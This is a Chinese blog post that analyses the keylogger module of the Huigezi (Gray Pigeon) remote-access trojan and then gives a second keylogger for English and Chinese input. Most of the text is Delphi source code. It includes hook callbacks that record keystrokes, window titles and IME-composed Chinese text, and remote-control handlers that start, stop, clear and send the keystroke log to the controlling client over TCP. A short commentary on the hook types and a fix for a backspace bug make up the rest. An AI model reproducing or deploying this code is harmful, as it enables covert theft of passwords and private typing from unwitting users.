灰鸽子键盘记录源码分析及一个中英文键盘记录代码
2006年11月21日 星期二 下午 3:11
首先是:
var LogHook: HHook = 0; HookList: TStringList; 函数: function LogProc(iCode: Integer; wparam, lparam: LongInt): lresult; stdcall; var ch: Char; vKey: Integer; FocusWnd: HWND; Title: array[0..255] of Char; str: array[0..12] of Char; TempStr, Time: string; LogFile: TextFile; PEvt: ^EVENTMSG; iCapital, iNumLock, iShift: Integer; bShift, bCapital, bNumLock: Boolean; begin if iCode < 0 then begin Result := CallNextHookEx(LogHook, iCode, wParam, lParam); exit; end; if (iCode = HC_ACTION) then begin pEvt := Pointer(DWord(lParam)); FocusWnd := GetActiveWindow; if LastFocusWnd <> FocusWnd then begin if hookkey<>'' then begin HookList.Add(hookkey); hookkey :=''; end; HookList.Add('======End====='); HookList.Add('=====begin===='); GetWindowText(FocusWnd, Title, 256); LastFocusWnd := FocusWnd; Time := DateTimeToStr(Now); HookList.Add(Time + Format('Title:%s', [Title])); end; if pEvt.message = WM_KEYDOWN then begin vKey := LOBYTE(pEvt.paramL); iShift := GetKeyState($10); iCapital := GetKeyState($14); iNumLock := GetKeyState($90); bShift := ((iShift and KeyMask) = KeyMask); bCapital := ((iCapital and 1) = 1); bNumLock := ((iNumLock and 1) = 1); //HookList.Add('这是vKey:'+inttostr(vKey)); if ((vKey >= 48) and (vKey <= 57)) then begin if not bShift then begin ch := Char(vKey); end else begin case vKey of 48: ch := ')'; 49: ch := '!'; 50: ch := '@'; 51: ch := '#'; 52: ch := '$'; 53: ch := '%'; 54: ch := '^'; 55: ch := '&'; 56: ch := '*'; 57: ch := '('; end; end; hookkey:=hookkey+ch; end; if (vKey >= 65) and (vKey <= 90) then // A-Z a-z begin if not bCapital then begin if bShift then ch := Char(vKey) else ch := Char(vKey + 32); end else begin if bShift then ch := Char(vKey + 32) else ch := Char(vKey); end; hookkey:=hookkey+ch; end; if (vKey >= 96) and (vKey <= 105) then // 小键盘0-9 if bNumLock then hookkey:=hookkey+Char(vKey - 96 + 48); ch:='n'; if (VKey > 105) and (VKey <= 111) then begin case vKey of 106: ch := '*'; 107: ch := '+'; 109: ch := '-'; 111: ch := '/'; else ch := 'n'; end; end; if (vKey >= 186) and (vKey <= 222) then // 其他键 begin case vKey of 186: if not bShift then ch := ';' else ch := ':'; 187: if not bShift then ch := '=' else ch := '+'; 188: if not bShift then ch := ',' else ch := '<'; 189: if not bShift then ch := '-' else ch := '_'; 190: if not bShift then ch := '.' else ch := '>'; 191: if not bShift then ch := '/' else ch := '?'; 192: if not bShift then ch := '`' else ch := '~'; 219: if not bShift then ch := '[' else ch := '{'; 220: if not bShift then ch := '\' else ch := '|'; 221: if not bShift then ch := ']' else ch := '}'; 222: if not bShift then ch := Char(27) else ch := '"'; else ch := 'n'; end; end; if ch <> 'n' then hookkey:=hookkey+ ch; // if (wParam >=112 && wParam<=123) // 功能键 [F1]-[F12] if (vKey >= 8) and (vKey <= 46) then //方向键 begin ch := ' '; case vKey of 8: str := '[退格]'; 9: str := '[TAB]'; 13: str := '[Enter]'; 32: str := '[空格]'; 33: str := '[PageUp]'; 34: str := '[PageDown]'; 35: str := '[End]'; 36: str := '[Home]'; 37: str := '[LF]'; 38: str := '[UF]'; 39: str := '[RF]'; 40: str := '[DF]'; 45: str := '[Insert]'; 46: str := '[Delete]'; else ch := 'n'; end; if ch <> 'n' then begin //if PrvChar<>Char(vKey) then //begin hookkey :=hookkey+str; // PrvChar := Char(vKey); //end; end; end; end ; { else if (pEvt.message = WM_LBUTTONDOWN) or (pEvt.message = WM_RBUTTONDOWN) then begin if hookkey<>'' then begin HookList.add(Hookkey); hookkey:=''; end; if pEvt.message = WM_LBUTTONDOWN then TempStr := '鼠标左键: ' else TempStr := '鼠标右键: '; HookList.Add(TempStr + Format('x:%d,y:%d', [pEvt.paramL, pEvt.paramH])); end; //CloseFile(LogFile); } end; Result := CallNextHookEx(LogHook, iCode, wParam, lParam); end; ///////////////////////////////////////////////////////////////////////////////////// if StrTmpList[1]='039' then begin {启动键盘记录} if LogHook = 0 then begin Request:='Cmd009'; //启动键盘记录成功!查看记录前请先终止键盘记录! LogHook := SetWindowsHookEx(WH_JOURNALRECORD, LogProc, HInstance, 0); end else begin Request:='Cmd010'; //键盘记录已经启动过了! end; if Request='' then Request:='Cmd011'; //启动键盘记录成功!查看记录前请先终止键盘记录! SendStreamToClient(IdTCPClient1,'011',Request); Exit; end; {------------------------------------} if StrTmpList[1]='040' then begin {终止键盘记录} try if LogHook <> 0 then begin UnhookWindowsHookEx(LogHook); LogHook := 0; HookList.Add(Hookkey); HookList.Add('*********End**********'); Hookkey:=''; end; except end; Request:='Cmd012'; //终止键盘记录成功! SendStreamToClient(IdTCPClient1,'011',Request); Exit; end; {------------------------------------} if StrTmpList[1]='041' then begin {查看键盘记录} Request:=HookList.Text; if Request='' then begin Request:='NULL'; //键盘记录为空. end; SendStreamToClient(IdTCPClient1,'018',Request); Exit; end; {------------------------------------} if StrTmpList[1]='042' then begin {清空键盘记录} try HookList.Clear; except end; Request:='Cmd014'; //清空键盘记录完成! SendStreamToClient(IdTCPClient1,'011',Request); Exit; end; function LogProc(iCode: Integer; wparam, lparam: LongInt): lresult; stdcall; 这是一个钩子的回调函数。当用下边用SetWindowsHookEx安装了一个WH_JOURNALRECORD类型的钩子成功后, 就会调用这个回调函数,也就是执行回调函数的功能 WH_JOURNALRECORD 类型的钩子用来监视和记录输入事件。典型的,可以使用这个Hook记录连续的鼠标和键盘事件, 然后通过使用WH_JOURNALPLAYBACK Hook来回放。WH_JOURNALRECORD 钩子是全局钩子,它不能象线程特定钩子一样使用。 像黑洞那样的能记录下输入的汉字和字符的一般都 是安装WH_GETMESSAGE类型 的钩子 然后用回调函数过滤出英文字符和汉字。 ++++++++++++++++++++++++++++++++++++++++++++++++ 一个中英文键盘记录代码 一个声明:基本实现监视记录功能,参考了网上的相关代码(特别是那个汇编做的) 一个问题:自己测试发现遇到退格键时会记录成 [<=](多出前面一个),下面给出关键代码,大家试试看还有 什么问题,如何解决? function HookProcEn(ncode:integer;wparam:wparam;lparam:lparam): LRESULT; stdcall;//export; var pcs:pMSG; begin Result:= CallNextHookEx(KeyboardHook, nCode, wParam, lParam); if (nCode = HC_ACTION) then begin pcs:=PMSG(lparam); if pcs^.message = WM_KEYUP then begin if pcs^.wParam<$30 then begin if pcs^.wParam=VK_UP then ToFileProc('[↑]') else if pcs^.wParam=VK_LEFT then ToFileProc('[←]') else if pcs^.wParam=VK_RIGHT then ToFileProc('[→]') else if pcs^.wParam=VK_DOWN then ToFileProc('[↓]') else if pcs^.wParam=VK_BACK then ToFileProc('[<=]') //就是这个有问题了 else if pcs^.wParam=VK_TAB then ToFileProc('[Tab]') else if pcs^.wParam=VK_ESCAPE then ToFileProc('[Esc]') else if PCS^.wParam=VK_Delete then ToFileProc('[Del]') else if PCS^.wParam=VK_MENU then ToFileProc('[Alt]') else if pcs^.wParam=VK_SHIFT then ToFileProc('[Shift]'); end; end else if pcs^.message = WM_CHAR then //截获发向焦点窗口的键盘消息(WM_KEYUP和WM_KEYDOWN消息) begin if not (IsDBCSleadByte(pcs^.wParam)) then begin if (wParam and PM_REMOVE)>0 then begin if pcs^.wParam=VK_SPACE then ToFileProc(' ') else if pcs^.wParam=VK_RETURN then ToFileProc('#10') else ToFileProc(char(pcs^.wParam AND $FF)) end; end; end; end; pcs:=nil; end; function HookProcCh(ncode:integer;wparam:wparam;lparam:lparam): LRESULT; stdcall; var dwLen:DWORD; himc:HWND; hFocus:THandle; pcs:PCWPSTRUCT; begin Result:= CallNextHookEx(KeyboardHook, nCode, wParam, lParam); if (nCode = HC_ACTION) then begin pcs:=PCWPSTRUCT(lparam); if PCs^.message = WM_IME_COMPOSITION then begin hFocus := GetFocus(); HIMC := ImmGetContext(hFocus);//先获取当前正在输入的窗口的输入法句柄 if HIMC = 0 then Exit; //将ImmGetCompositionString的获取长度设为0来获取字符串大小. dwLen := ImmGetCompositionString(hImc,GCS_RESULTSTR,nil,0); if dwLen > 0 then begin // 再调用一次.ImmGetCompositionString获取字符串 if ImmGetCompositionString(HIMC, GCS_RESULTSTR, @cchar, dwLen + sizeof(WCHAR)) > 0 then begin if strcomp(cchar,cchar2)<>0 then ToFileProc(cchar); strcopy(cchar2,cchar); ZeroMemory(@cchar,20); end; end; ImmReleaseContext(hFocus, HIMC); end; end; pcs:=nil; end; 删除前面一个字符串就好了 这个东西你可以先声明一个string. 然后有消息进入的时候事先读取已经存储的字符串 然后删除前面一位再写回去就好了 或者你直接操作字符串也可以把当前输入指针的前面一位给替换撑0x00就OK了
本文转自9pc9com博客,原文链接: http://blog.51cto.com/215363/916121 如需转载请自行联系原作者 |